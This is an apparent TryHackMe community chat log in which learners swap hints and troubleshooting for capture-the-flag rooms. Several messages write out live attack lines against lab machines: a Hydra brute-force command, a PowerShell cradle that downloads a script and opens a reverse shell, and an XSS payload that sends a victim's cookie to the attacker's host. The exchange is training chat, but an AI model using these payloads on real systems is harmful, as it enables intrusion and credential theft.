!vpnscript

[proud scarab]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[eternal brook]

Yea maybe subscription issue cause k get my shell back and then it dies or works for sometime then it dies...

[trim haven]

I’m not sure about it constantly dying

I’d didn’t have that issue when I wasn’t subscribed and did the room

[eternal brook]

I'll redeploy then probably again ...

[azure hinge]

Hey i wanted a hint for the recovery room ... Im at the last flag bit im not able to get the flag.... Any one who can help???

[trim haven]

Specify "the last bit" please

[oblique cliff]

@trim haven @eternal brook I didn’t have any issues with that room and haven’t seen anyone else with any issues

[trim haven]

Mhm which is why it is strange

I'm 90% sure that shells dying is multivpn but don't quote me

[azure hinge]

@trim haven i have decripted the files Using the key and uploaded back to the machine but i haven't received any flag after that...

[livid elk]

Guys my Hydra is very slow, to crack password i need to go through 905678 passwords and on the hint in the room it says that if only should take about 30 seconds, but in 30 seconds my Hydra checks only around 3000 passwords and to check all of 905678 I need a lot of time (I know that password is on the 905678 position because I checked answers to that room. I am using VMware workstation with Kali on it and my Hydra is very slow is it supposed to be that slow? and how to boost it up?

[trim haven]

I believe there are flags

But honestly if your computer is already slow I wouldn't want to push it too far

[arctic crystal]

Guys my Hydra is very slow, to crack password i need to go through 905678 passwords and on the hint in the room it says that if only should take about 30 seconds, but in 30 seconds my Hydra checks only around 3000 passwords and to check all of 905678 I need a lot of time (I know that password is on the 905678 position because I checked answers to that room. I am using VMware workstation with Kali on it and my Hydra is very slow is it supposed to be that slow? and how to boost it up?
@livid elk which room?

[trim haven]

Give it 10 minutes max, if not then we will have to help you further

[livid elk]

Advent of Cyber Task 22 Day 17

[azure hinge]

Give it 10 minutes max, if not then we will have to help you further
@trim haven thanks

[trim haven]

But you can use sed to specify which part of rockyou you want to start from

[arctic crystal]

that's a troll don't believe that hint

I was stuck today for 4 hrs

[trim haven]

Let me check with Muir to seconds

[livid elk]

Ow i didn't even thought that they can troll in hints

[arctic crystal]

password gets cracked at around 900k+ attempt

[livid elk]

Ok thanks

[oblique cliff]

Ow i didn't even thought that they can troll in hints
@livid elk we don’t. That was put very poorly

[arctic crystal]

you can check writeups for that password or you can wait till it reaches 900k

[trim haven]

@livid elk What are you trying to brute force exactly?

Bee and Muir said the room is broken and you will have to brute force ssh.

[arctic crystal]

there are two questions for that task one is to brute force web-server password and other one is to brute force ssh password

ssh gets cracked within seconds

but web-server passwords takes a lonnnnng time

also when I discussed this here few hours back one of the user cracked the password but his password was different than mine and he was able to login using that password while I wasn't able to login using that same password

[livid elk]

Ok guys next question: do you know like how to like check if the login u are using to bruteforce ssh or web server is valid or not?

[wooden mist]

depends on the software

some websites/services react differently to invalid passwords and invalid usernames

some ssh versions took more time to respond when the username was valid and you could check it that way

[livid elk]

so there is no some program to check for valid logins for ssh or web server?

[wooden mist]

for some ssh versions there are scripts on exploitdb but websites are determined on a case by case basis

[livid elk]

Ok thanks mate

[eternal brook]

@trim haven @eternal brook I didn’t have any issues with that room and haven’t seen anyone else with any issues
@oblique cliff don't know why my VPN is fine still I re downloaded it redeployed the machine but my shell just keeps on dying (I'm talking about the reverse shell as cage )... I'll try again tomorrow...

[oblique cliff]

Might be setting the wrong payload or something, not sure

[carmine ledge]

Can anybody tell what is the name of address type reserved for router?

[oblique cliff]

Do not ask in multiple channels. You got answered in the other 2 channels

[carmine ledge]

@oblique cliff sorry

[keen willow]

ultratech: i am bruteforcing auth api with 3 users, m i on correct way ?

[arctic crystal]

room: Pentest questionnaire
hey guys any hint for this question

nvm I got it

[trim haven]

you're missing the hyphen

haha

Okay remove the answer pls

<3

[arctic crystal]

done👍

[keen willow]

ultratech foothold ?

[lucid crescent]

ok @stuck fractal can u give me a hint in here?

[stuck fractal]

No.

[lucid crescent]

sorry for mention

ok anyway i have problem with admin authid in advent-of-cyber task 23 i dont know how to get admin cookie value

[woven mirage]

just ask for everybody and someone may answer you

[stuck fractal]

@lucid crescent Read the task. Read the supporting material. Learn how it works. That's my hint.

[arctic crystal]

task 2 Q2```
webpage says change: `Use your own codename as user-agent to access the site.`  I'm not getting what I'm supposed to do
any hint?

[stuck fractal]

@arctic crystal Do you know what a useragent is?

[arctic crystal]

the browser which access the web page?

[stuck fractal]

No.

[lucid crescent]

User-Agent also look for write ups @arctic crystal

[stuck fractal]

This is the hints channel

[lucid crescent]

LOL

[stuck fractal]

You do not suggest writeups here.

[arctic crystal]

I would have gone to #room-help

[lucid crescent]

i said it like u @stuck fractal

[arctic crystal]

if I would I checked writeups

[stuck fractal]

So I recommend looking into what a user agent string is, and how you can set it

[arctic crystal]

ok thx

[lucid crescent]

also another hint use ||burp|| @arctic crystal

[stuck fractal]

I mean, you don't have to

Probably even better if you don't

[arctic crystal]

ok I have added new preference name and added the user agent

but still what is my codename like for Agent sudo will it be ||Agent S||

[oblique cliff]

the message isnt for you

you need to guess the agent name that the message was intended for

[arctic crystal]

ok

[lucid crescent]

||another hint the User-Agent is one character|| @arctic crystal

[arctic crystal]

Am I supposed to try all alphabets except R and S coz they are not working?

[oblique cliff]

i mean there are only 26 letters in the english alphabet

wouldnt be too much to brute force it

[arctic crystal]

ya but am I supposed to do that or am I missing something

like is that the intended way of doing it

[oblique cliff]

try it and find out

if it works, it was intended, if it doesnt, it wasnt

[arctic crystal]

well got it Thanks a lot

[arctic crystal]

ok now I have extracted data from image and I have got one zip file and few other files I used zip2john on zip file and I got some hashed password but I'm not understanding exactly where it starts from

[final mortar]

Where the hash starts from ?

[lean vector]

Hello. I'm doing Wonderland. Need small hint with privesc ||from hatter to root. I've found that I can control date binary via PATH variable, but can't spawn shell as root. Only as hatter. So as there is already "S" bit set, I thought I can just run "/bin/sudo ./teaParty". No luck. But I've found that teaPartry changes uid and guid at the start of the file. There is no way to change user's id or edit teaParty file. I have hatter's password, but he is not in the sudoers file. I think I don't understand something about "s" bit. Any hint, @stuck fractal ?||

[stuck fractal]

@lean vector Please don't just tag me when you want a hint.

Enumerate harder

If you had sudo permissions, you would know.

[lean vector]

Okay, there is no way ||to exploit CVE-2016-1238||

[stuck fractal]

Enumerate.

[chilly badger]

Question on the intro to python Room: for decrypting the flag. I am reading the encoded flag into a variable then passing to functions to go through a loop five times first for base64.b64decode() then .b32decode and finally .b16decode. however all I get when I try to print out the decode string is b". I am taking it, it is not as simple running through a loop 5 times for each decode?

[stuck fractal]

Outermost layer is base16

[smoky willow]

I'm doing HackPark right now, and I'm trying to brute force the log in with Hydra, but I get 16 passwords all of which say are valid, none of which work

[stuck fractal]

That means your command is not correct

I personally recommend using OWASP zap as it's much better than Hydra for this

The correct command for hydra is quite complicated as you need the full body of the request as you captured it

[smoky willow]

I feel like my command is correct || hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.16.214 http-post-form "/Account/login.aspx:
__VIEWSTATE=4l%2FANhI6xhT2FagRv0tZtxmMNoR7auDmgGgiaxCqZDiv3khduBWG%2B0J1ETngEwkGtsks%2FOfCvo7w8R%2B1fDvqr9A2MC20%2FtnG9JbAUK91bDwpjXPkQ7qI96zGa22XPNLoU0uwNUWhSdELw6zJ5H84W0lTSPnbrpz3qdCGyO3vM0cBVbi3&__EVENTVALIDATION=Ds5wO5zCeTLNY0f3OCLlLsr0f9dbGxz6weYQJwVxY4dP9Yply4Oy7h9uDbjCWzvujXrygH2VodxbhNBABSjJSPOn%2F6FoMWwIHnAna7WKBp0daMvTaGnh2M5yPh7FbFK%2FauYcusEQqqgiC0Qkv54iyWPCHtLokEaQUHWUW%2BGGHFyAYhO3&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"||

But I'll give zap a try

[chilly badger]

Thanks NinjaJc01 once I revesed the order worked perfectly

[oblique shuttle]

hi all , in need of a hint for ctf100 flag75 .. I need the level3 passwd.. clue is "search the file"... file in level2 directory is "nothing" and appears to be only ascii

[toxic scarab]

it might be that you have to skip that one and come back to it as root

there was one that was like that for me if i recall

[white salmon]

Anyone who can speak in private about Alfred? Just to avoid some info leaks xd

[oblique cliff]

You can ask here and someone who can assist you will 🙂

Mark as spoilers and there’s no problems

[white salmon]

ok

ALFRED SPOILER: ||so when I write the command to run the reverse-shell "powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port" and I start "python -m SimpleHTTPServer" and "nc -lvnp [port]" I just get a
GET /Invoke-PowerShellTcp.ps1 HTTP/1.1
Host: IP:PORT
Connection: Keep-Alive
from netcat. The python HTTP server gets a 200 code but then a 400:
[08/Aug/2020 20:49:28] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
[08/Aug/2020 20:49:30] code 400, message Bad request syntax ('Windows PowerShell running as user bruce on ALFRED')
[08/Aug/2020 20:49:30] "Windows PowerShell running as user bruce on ALFRED" 400 -
|| I am doing something wrong, but I do not know what it could be. So any hints or tips are wonderful. Thanks.

[oblique cliff]

Can you do a screenshot instead of copy pasta please

[white salmon]

wait a minute

[oblique cliff]

Waiting

[stuck fractal]

To me, looks like the reverse shell from invoke powershell is going to your webserver

Whereas it needs to go to your netcat listener

[stuck fractal]

That bit is fine

[08/Aug/2020 20:49:30] "Windows PowerShell running as user bruce on ALFRED" 400 -

That line is what suggests that to me

Wait

Now it looks like you've got them mixed up the other way

You got the GET request in your Netcat listener

[stuck fractal]

'http://your-ip/:your-port needs to be your webserver

-IPAddress your-ip -Port your-port needs to be your netcat listener

[white salmon]

damn... hahaha, let me try again with it

[stuck fractal]

Can't use the same port for both

[white salmon]

that was the error. Thanks a lot, I'm in now 👍

[stuck fractal]

@oblique cliff Sorry

[oblique cliff]

No worries I’m on my phone it’s hard to see lots of stuff like that on here

[indigo holly]

Hello guys, currently doing the vulnversity room, I am now in the last part where i need to|| exploit to root through systemd but I have no clue how to do this ^^"|| Any help?

[worn yew]

Hello

[stuck fractal]

@indigo holly I'd recommend doing some googling, you'll find resources that way

[oblique cliff]

👀

[clear quail]

I am at a question, that asks for 'is hidden inside a system mount' - I dont understand that question: "Flag 16 lies within another system mount." of linuxctf

[oblique cliff]

Try to research where external drives and/or usbs are mounted on Linux @clear quail

[hollow moon]

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 8.74 seconds

what should i do

[trim haven]

What room is this?

[hollow moon]

idk

[trim haven]

Could you show me the full nmap command that you are using please?

[hollow moon]

can you help me?, i'm trying to scanning my machine

[trim haven]

What machine, sorry?

[hollow moon]

nmap -sC 10.10.192.122
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-09 04:29 SE Asia Standard Time
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 8.74 seconds

[trim haven]

Use nmap -sC -Pn 10.10.192.122

[hollow moon]

it works but it won't show the ports

SYN Stealth Scan Timing: About 12.55% done; ETC: 04:49 (0:03:01 remaining)
Stats: 0:01:25 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 36.50% done; ETC: 04:49 (0:02:09 remaining)

only like this

[trim haven]

That might be your command

[hollow moon]

what should i do

[trim haven]

But wait for the SYN Stealth Scan to finish first

[hollow moon]

Nmap scan report for 10.10.192.122 (10.10.192.122)
Host is up.
All 1000 scanned ports on 10.10.192.122 (10.10.192.122) are filtered

Nmap done: 1 IP address (1 host up) scanned in 213.30 seconds

just like this

[trim haven]

What room is this?

[hollow moon]

hints

[trim haven]

Sorry?

[hollow moon]

hints for tryhackme

hey dude what should i do with my commands to show the ports

[trim haven]

What room are you on on TryHackMe?

[stuck fractal]

On the tryhackme website, what room are you trying to do?

[hollow moon]

Nmap

[stuck fractal]

Link please

[hollow moon]

https://tryhackme.com/room/rpnmap

i was completed all the task

[stuck fractal]

Connect to the VPN.

[hollow moon]

but my cmd is sucks

[trim haven]

Using this should help you :)

[hollow moon]

i'm connected

[trim haven]

!vpn

[proud scarab]

TryHackMe

Learn how to use OpenVPN to connect to our network!

https://tryhackme.com/room/openvpn

From TryHackMe with ❤!

[arctic crystal]

Room: Madness
I got the file from the image and I got the password in it but I don't know username and room says that we don't have to ssh into the machine.
I'm not understanding what should I do, Any hint?

[trim haven]

@hollow moon Can you type ps aux | grep openvpn and screenshot the output please

[hollow moon]

okay hold on

[arctic crystal]

also no hidden directory found

[trim haven]

If you're on linux*

[hollow moon]

no i'm not

im using windows

[trim haven]

Oh

[hollow moon]

yeap

[trim haven]

Let me check the command one second

[stuck fractal]

Windows + VPN + Nmap doesn't work sometimes

room says that we don't have to ssh into the machine. @arctic crystal Where does it say that?

[hollow moon]

@trim haven sure

[stuck fractal]

Please note this challenge does not require SSH brute forcing. that's different to don't use ssh

[arctic crystal]

sorry it says we don't have to brute force into it

[stuck fractal]

I recommend enumerating more

There's lots of images

[arctic crystal]

where are images?

I only used image which is given on the room page

[stuck fractal]

Enumerate harder

Did you do a portscan yet?

[arctic crystal]

only two ports found but all ports scan is ongoing

[trim haven]

@hollow moon Can you press the windows key and type powershell, then select Windows Powershell and enter Get-Process openvpn and tell me the output

[arctic crystal]

completed only two ports are open

[desert saddle]

hi, for Simple CTF #2 What is running on the higher port? I did allports but still can't find this? There's only 3 ports open and none of them is the right answer.

[trim haven]

Don't screenshot because I don't know what might popup and I want to be on the safeside

[desert saddle]

you know what, ignore my question

[stuck fractal]

Don't screenshot because I don't know what might popup and I want to be on the safeside
@trim haven It should be impossible to have multiple VPNs on windows. Unless they are connected from 2 different devices.

[desert saddle]

i got it lol

[trim haven]

I want them to get the process to see if they get an error

If there's an error they're not connected

[hollow moon]

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName

---

112      10     2364       7744              1644   2 openvpn

@trim haven

[trim haven]

Okay good

Thank you

@hollow moon Try using this command: nmap -sC -p- <Machine IP>

[hollow moon]

nmap -sC -p- 10.10.192.122
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-09 05:04 SE Asia Standard Time
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 8.21 seconds
@trim haven

[trim haven]

Okay try this (Sorry it's trial and error, I have not really come across this issue myself)

Try this one maybe: nmap -sC -pN -p- <Machine IP>

[hollow moon]

thats fine bruh

[stuck fractal]

You are not properly connected to the VPN

It scans fine from here

Please connect to the VPN properly

[hollow moon]

i'm connected

[stuck fractal]

You are not connected properly.

[trim haven]

Sometimes it may say you are but you aren't, it's an issue with openvpn/access page.

Try closing OpenVPN and re-opening it.

Then re-connect to the VPN.

[arctic crystal]

it keeps disconnecting if you are using it on windows

[trim haven]

If that doesn't work, please go to <tryhackme.com/access> and regenerate & redownload your configuration file.

[stuck fractal]

it keeps disconnecting if you are using it on windows
@arctic crystal Then you are doing something wrong

Because I do not have that issue

[arctic crystal]

is it maybe because I try to connect my vpn both in VM and my host machine?

[trim haven]

Yeah

[stuck fractal]

Yes, don't do that

[trim haven]

Don't do that, it makes bad things happen

[stuck fractal]

You have a single VPN IP, it can't be shared by both without NAT

[trim haven]

And Jabba sad, you don't want to make Jabba sad :(

[arctic crystal]

yeah I stopped doing that now

[stuck fractal]

Otherwise, how does it know where to send the data?

[arctic crystal]

Enumerate harder
@stuck fractal
I did more enumeration and found one image which has some errors and it is not opening nor the steghide supports its format and zsteg and binwalk also give nothing

[stuck fractal]

What type of image is it?

What do the header bytes say? What does the file extension say? What do file trailers etc say?

(These are rhetorical)

[arctic crystal]

png

also where can I sea header bytes and that trailers you say

Warning: PNG image did not start with IHDR
I get this warning though

[stuck fractal]

Ok, but do the trailers etc match PNG?

Have you checked the last two bytes?

[arctic crystal]

Ok, but do the trailers etc match PNG?
@stuck fractal how to check that

[stuck fractal]

Well, sounds pretty straight forward to me. Find out the structure of a PNG, see if it matches

[arctic crystal]

no not like that I'm asking how can I view the headers and trailers of the image I have with me

[stuck fractal]

How would you look at a file if you want a human-readable representation of raw bytes?

[arctic crystal]

sorry I don't know that

[toxic scarab]

binary files like images aren't the same as text. if you want to look at file headers and such, you should probably use a hex editor to see the raw data

xxd is probably available on your system, so you might check that first, though for future tasks you might need other tools as well.

[stuck fractal]

there are some graphical hex editors

Bless, ghex

[arctic crystal]

ok I'll check that thank you

ok I have got this now, do the numbers in first line represent header?

[toxic scarab]

this is a google question now

google proper png and jpg headers

[arctic crystal]

ok

ok so 8950 4e47 0d0a 1a0a is png signature and image header is after it

but IHDR should be mentioned I guess for image header which I cant see here in my image

[stuck fractal]

https://en.wikipedia.org/wiki/Portable_Network_Graphics#File_format
https://en.wikipedia.org/wiki/JPEG#Syntax_and_structure

[arctic crystal]

yes I read that

there's no header for my image

[stuck fractal]

So maybe it's not a PNG then

[arctic crystal]

it matches the png signature but other things are missing

ya

it matches jpeg format but only signature is different

how can I edit that signature

[stuck fractal]

Using a hex editor

[arctic crystal]

xxd works for it or I'll need to install one of these

Bless, ghex

[stuck fractal]

Sounds like a google question to me

[arctic crystal]

ya found it

[terse kiln]

hello, i need help in anthem VM box, i am at task 3, question 2. I dont know the username of the account so i cant ssh. What should i do? Thanks

[toxic scarab]

help or hint? help=> #room-help

hint: usernames are sometimes re-used in different ways for different services

[terse kiln]

i tried the usernames in the website

are usernames case sensitive

?

[toxic scarab]

i think i gave you a pretty good hint. If you are looking for the answers, then try a writeup. there's not much else I can hint at without just typing the answer for you here

please don't bro people. it's kind of disrespectful

[terse kiln]

sorry, i will try now

[ashen matrix]

@arctic crystal I fell in that trap as well lol. Took me 15 mins to realise my mistake on that file

[plucky breach]

Hi Guys. I am newbie student. Trying to complete my first room: "Learn Linux". Task 43. Is the last task. But, i dont know how can I get root permissions to see the file at /root/root.txt If someone knows a hint...I appreciate every kind suggestion.

[stuck fractal]

I recommend looking back, it describes the most common way that a genuine user can run things as root

Using sudo

[plucky breach]

thanks. I'll try harder. 🙂

[stuck fractal]

My tip would be to make sure you have all the users on the box, not just the shibas

And look for files that are out of place

Maybe search for files belonging to each user one by one

[plucky breach]

yeah. I notice that i have the passwords for all the shibas.....but no one is at sudoers file

But I think this is the challenge...try to discovery myself

🙂 thanks one more time. I will check with more attention for all the files

[toxic scarab]

maybe there is another user you haven't found yet?

[stuck fractal]

(or a couple of them)

[plucky breach]

there 2 more users: noot & nootnoot And i dont have any idea how to get their passwords...lol. BBut i will keep try

[stuck fractal]

Maybe search for files belonging to each user one by one```

That's my hint for you RN

[plucky breach]

@stuck fractal Great HInt...! very nice! i'll check these files again with more attention

thank you guys! helps a lot 🙂

[plucky breach]

Find is really useful . Very nice challenge

[hollow moon]

Starting Nmap 7.60 ( https://nmap.org ) at 2020-08-09 12:21 WIB
Couldn't open a raw socket. Error: Permission denied (13)

can you help me

[stuck fractal]

Don't use WSL. #general for this sort of thing.

[hollow moon]

i'm running with ubuntu

[next oxide]

Hey guys I'm unable to login to the OSCP Buffer Overflow Prep machine using xfreerdp. Any solution?

[final mortar]

Stick to one chat @next oxide When someone who knows about your issue sees your message, they will answer 🙂

[next oxide]

Yeah okay

[wind fog]

hey lads

does anyone know where password are stored by any chance?

🤔

nvm, figured it out

[white salmon]

Room: https://tryhackme.com/room/intronetworking
Task 9: #4 Where is the very first place your computer would look to find the ip address of a domain?

I google it and i can't find nothing

[white salmon]

What?

[open storm]

You should be able to find some stuff googling 😉

90% or something like that of THM questions can be found by googling a bit

[short fox]

@white salmon look up how DNS works.

[vale bramble]

there is no need of googling, just read the paragraph that was before your question
the answer is in the same paragraph

read harder

[white salmon]

I didn't read 😅

Sorry

[vale bramble]

the purpose of the room is reading the contents xD

[white salmon]

Yes, i real all except this task

lol

i writed before the answer but i bad typing

Thanks to all for help me

[vale bramble]

👍

[sick sun]

hello anyone , im in recovery room , im success to decrypt files in webserver but why flag5 not open

[short fox]

@sick sun did you restore the decrypted files?

[sick sun]

@short fox yes i was decrypted files on ||htdocs||

[short fox]

@sick sun not sure then. Double check to make sure they’re all decrypted properly with the right key and all the names are correct.

[sick sun]

@short fox yes i was decrypted all files in || htdocs || , ttitle index.html is || Recoverysoft || ?

[woven mirage]

Did you put the decrypted files back into the machine?

[sick sun]

@woven mirage yes right

i put all decrypted files on machine

[short fox]

@sick sun all the file names of the decrypted files should be exactly the same as the encrypted ones. Just replace the encrypted files with the decrypted ones using the same names.

[sick sun]

yes i was do all but flag5 not showing up " || index.html reallyimportant.txt todo.html ||

[short fox]

I’m not sure then. My only guess would be a problem with the decryption.

[wind fog]

can someone please help me with this?

what does it mean by host machine?

[vale bramble]

your own machine

[wind fog]

should I exit out of ssh and use my own terminal?

[vale bramble]

or your kali machine

[wind fog]

ah, okay

so I should exit out of the ssh then?

[vale bramble]

or you can open other window

and not close the ssh

[wind fog]

true, thanks man

🕺

[vale bramble]

[wind fog]

im guessing this wasn't meant to happen

any idea how to get it working?

i used the exact command THM told me to use

[vale bramble]

lhost is wrong

what means local host?

oh fuck

well nvm

xd

[wind fog]

what? 😟

[vale bramble]

look

[wind fog]

oof

[vale bramble]

your lhost is wrong

[wind fog]

yeah?

[oblique cliff]

Learn to read error messages, they’re very informative

[wind fog]

oh true I just saw it

im meant to put my own ip

ah, thanks man, I didn't really look at the command too carefully

[rugged halo]

Hi! who can I ask for help with the Linux Challenges room?

[vale bramble]

yeah, just ask

[rugged halo]

Find flag 26 by searching the all files for a string that begins with 4bceb and is 32 characters long.

How do I search for strings in all files?

[vale bramble]

thats the most difficult one

you have to list every file

and grep everyone

[rugged halo]

but grep looks at the file names and not their content.... no?

[vale bramble]

No

thats absolutely wrong

grep look inside files

[rugged halo]

find / -type f | grep ....

goes over the output of find, no?

[vale bramble]

yes, but grep have to know how to separate each file

i suggest to read the writeup

thats the most difficult on the room

that flag

read the command and try to understand it

[rugged halo]

cool, thanks, wasnt aware there was a write up. will check.

[vale bramble]

if you dont understand something on the command, do your research and if you dont know something ask here

[sick sun]

@short fox but decrypted is rigt

no error with index.html

[short fox]

@sick sun I’m not sure then. Have you checked the write up and tried another method to see if there’s any change?

[trim haven]

i suggest to read the writeup
@vale bramble #room-hints is usually for people who want to avoid write-ups :)

[vale bramble]

yeah but that flag in specific is very hard, and there is a lot of parameters to explain,that would be too much, for me it was better to look writeup and do own research. anyway, i will have it in mind, thx

[stuck fractal]

If you don't want to explain it, or you don't feel able to give a hint, you don't have to.

[vale bramble]

i have no problem of explaining the whole comand and i feel able, i only suggest him to ask about something specific he dont understand about the command, thats all

[stuck fractal]

This channel is for hints, best not to point people to writeups if they just want a hint?

[vale bramble]

you are right, thats why i said i will have it in mind

[arctic crystal]

task 23 day 18```
I got the answer but THM is not accepting it

is there any problem with that task?

[stuck fractal]

Nope.

[oblique cliff]

No your answer is wrong

[arctic crystal]

can I post answer here? to check

[trim haven]

I don't think you can.

If you are able to avoid sharing answers it is appreciated :D

[arctic crystal]

ok I'll just send it and delete once you guys check it

is this the right one?

[trim haven]

@stuck fractal

[stuck fractal]

Wrong value @arctic crystal

[arctic crystal]

ok

[stuck fractal]

That's your authid

Not the admins

[arctic crystal]

ok then any hint on what I'm doing wrong ?

[stuck fractal]

You're going to the page yourself?

[arctic crystal]

||</p><script>window.location = 'http://<my-machine-ip>/page?param=' + document.cookie </script><p>||
I'm runnig this command in the text box and starting nc -nlvp 80 on terminal

[stuck fractal]

And then

You need to wait

If you get your own authid, restart the listener

[arctic crystal]

I get this

I tried restarting

do I need to wait after this?

[stuck fractal]

Restart your listener. don't go to the page again

Leave the page alone

[arctic crystal]

ok

[stuck fractal]

If you visit the page, you'll steal your own cookie

[arctic crystal]

I was refreshing the page after starting listener again

[stuck fractal]

Don't do that

That runs the JS again

[arctic crystal]

got it

Thanks

[white salmon]

I'm in: https://tryhackme.com/room/django Task 3: 4. Migrate your changes by running python3 manage.py migrate

I have errors when i try that command, and i do all the steps

[trim haven]

What are the errors?

[white salmon]

I don't know why i have all of these errors

[stuck fractal]

The last line is the only one that matters

[white salmon]

This is my urls.py

I tried without the {}

I'm doing something wrong?

[trim haven]

You see the last line, it tells you exactly what's wrong

Do you have basic knowledge in python?

[white salmon]

Yes

I have to import my app?

[trim haven]

What does the error say?

[glossy basin]

@white salmon remove the {} in your path() variable

they were there for demonstration

[white salmon]

I tried without them

And nothing

[glossy basin]

1 sec

[white salmon]

they were there for demonstration
@glossy basin That i was thinking

[glossy basin]

https://github.com/Swafox/Django-example/tree/master/mysite

use this

it's an exact same example that works

Just browse files there and compare to you ones

[white salmon]

Ok, thank you. I will read the settings.py and the urls.py and solve my issue

[glossy basin]

👍

[white salmon]

This space matter?

My mspaint skills are amazing

[glossy basin]

It doesn't

[white salmon]

Same error

[glossy basin]

did you migrate before creating any apps?

[white salmon]

Yes

I will use windows for this

[wind fog]

Hi, i have a problem with the room zthobscurewebvulns / task#18 (challenge jsonWT alg:none), if i modify only alg by none, it work but when i modify the role by admin, the vm crashes

i don't understand, the differency beetween changing the header and payload.. this is the same fonctionality right? (decode, modify, encode)

[wind fog]

(done)

[white salmon]

lol after hours trying to read the same reviews on the juice store found his brother name.... this was so far fetched I would never in a million years keep looking at his reviews if it wasnt for the help....

[short fox]

@wind fog yes. Did you leave off the signature and just end with the . ?